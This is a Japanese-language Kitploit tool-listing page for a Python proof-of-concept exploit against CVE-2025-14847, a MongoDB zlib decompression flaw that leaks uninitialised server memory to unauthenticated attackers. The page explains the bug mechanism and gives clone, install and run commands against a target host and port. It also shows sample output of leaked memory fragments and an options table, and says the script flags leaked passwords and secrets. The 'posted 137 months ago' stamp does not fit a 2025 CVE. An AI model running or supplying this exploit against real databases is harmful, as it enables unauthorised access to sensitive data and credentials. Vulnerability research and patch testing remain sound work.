Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-14847 — CVE-2025-14847 – MongoDB 未認証メモリリークエクスプロイト | Kitploit
ツール/GitHubGitHub/lincemorado97/cve-2025-14847
メモリフォレンジック脆弱性分析エクスプロイトデータ流出ペネトレーションテストデータベースセキュリティ
GitHublincemorado97/cve-2025-14847

CVE-2025-14847

CVE-2025-14847 – MongoDB 未認証メモリリークエクスプロイト

リポジトリを見る
137ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-14847 – MongoDB 未認証メモリ漏えいエクスプロイト

概要

MongoDB の zlib 圧縮解除 の脆弱性を利用した概念実証 (PoC) エクスプロイトです。未認証の攻撃者がサーバーの機密メモリを読み取ることができます。
この PoC は Python 3 で実装されており、悪意のある OP_COMPRESSED パケットがバグを引き起こし、MongoDB が初期化されていないメモリを BSON データとして返す仕組みを実証します。


エクスプロイトの動作

この脆弱性は、MongoDB の zlib メッセージ圧縮解除の欠陥によって引き起こされます:

  1. 過大な uncompressedSize を主張する圧縮メッセージが送信されます。
  2. MongoDB はその過大な値に基づいて大きなバッファを割り当てます。
  3. zlib は実際のデータをそのバッファの先頭に圧縮解除します。
  4. MongoDB はバッファ全体を有効なデータとして扱うため、 初期化されていない メモリの読み取りが発生します。
  5. BSON パーサーはそのメモリから「フィールド名」を読み取り、 null バイトに達するまで隠されたデータを露呈させます。

この PoC は細工された OP_COMPRESSED パケットを送信し、サーバーのエラーレスポンスを解析して漏えいしたデータ断片を復元します。


前提条件

コンポーネントバージョン備考
Python≥ 3.8このスクリプトは Python 3 専用です
MongoDB≥ 4.4ターゲットは CVE‑2025‑14847 の影響を受けるバージョンである必要があります
オプションrequirements.txtリポジトリに同梱されています

インストール

root@kitploit:~
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847

# (Optional) Install required Python packages
pip install -r requirements.txt

使用方法

root@kitploit:~
python exploit.py [OPTIONS]

例:

root@kitploit:~
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin

実行例

root@kitploit:~
$ python3 exploit.py 
11:02:41 CVE-2025-14847     INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847     INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:41 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847     INFO │ 00000000:  20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b  | object with unk|
11:02:41 CVE-2025-14847     INFO │ 00000010:  6e 6f 77 6e 20 5f 69 64                          |nown _id|
11:02:41 CVE-2025-14847     INFO │ [+] offset=  39 len=  24:
11:02:45 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:45 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847     INFO │ 00000000:  73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67  |s skipped during|
11:02:45 CVE-2025-14847     INFO │ 00000010:  20 74 72 65 65 20 77 61 6c 6b                    | tree walk|
11:02:45 CVE-2025-14847     INFO │ [+] offset=3064 len=  26:
11:02:50 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:50 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:50 CVE-2025-14847     INFO │ [+] offset=6663 len=  38:
11:02:52 CVE-2025-14847  SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847  SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847  SUCCESS │ [*] Saved to: leaked.bin

スクリプトは、注目すべき各断片 (長さ > 10 バイト) をログに記録し、hexdump ビューを出力します。漏えいしたデータはすべて leaked.bin に追記されます。

demo


出力の見方

  • Hexdump: 漏えいデータの一部を 16 進数と ASCII の両方で表示します。
  • ログ行: [+] offset= <doc_len> len= <len> は断片が見つかった場所を示します。
  • 合計漏えい量: 出力ファイルに書き込まれたバイト数。
  • 一意の断片数: 検出された個別のデータブロック。
  • シークレット検出: スクリプトは漏えいデータ内で定義済みのパターン (password、secret など) を検出すると表示します。

参考情報

  • CVE-2025-14847 – https://nvd.nist.gov/vuln/detail/CVE-2025-14847
  • 分析: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/

免責事項

この PoC は、いかなる保証もなく「現状のまま」提供されます。作者は、このスクリプトの誤用または損害について一切の責任を負いません。自己責任で使用してください。

ツールをダウンロード
オプションデフォルト説明
--hostlocalhostターゲットの MongoDB ホスト
--port27017ターゲットの MongoDB ポート
--min-offset20調査する最小ドキュメント長
--max-offset8192調査する最大ドキュメント長
--outputleaked.bin漏えいデータを保存するファイル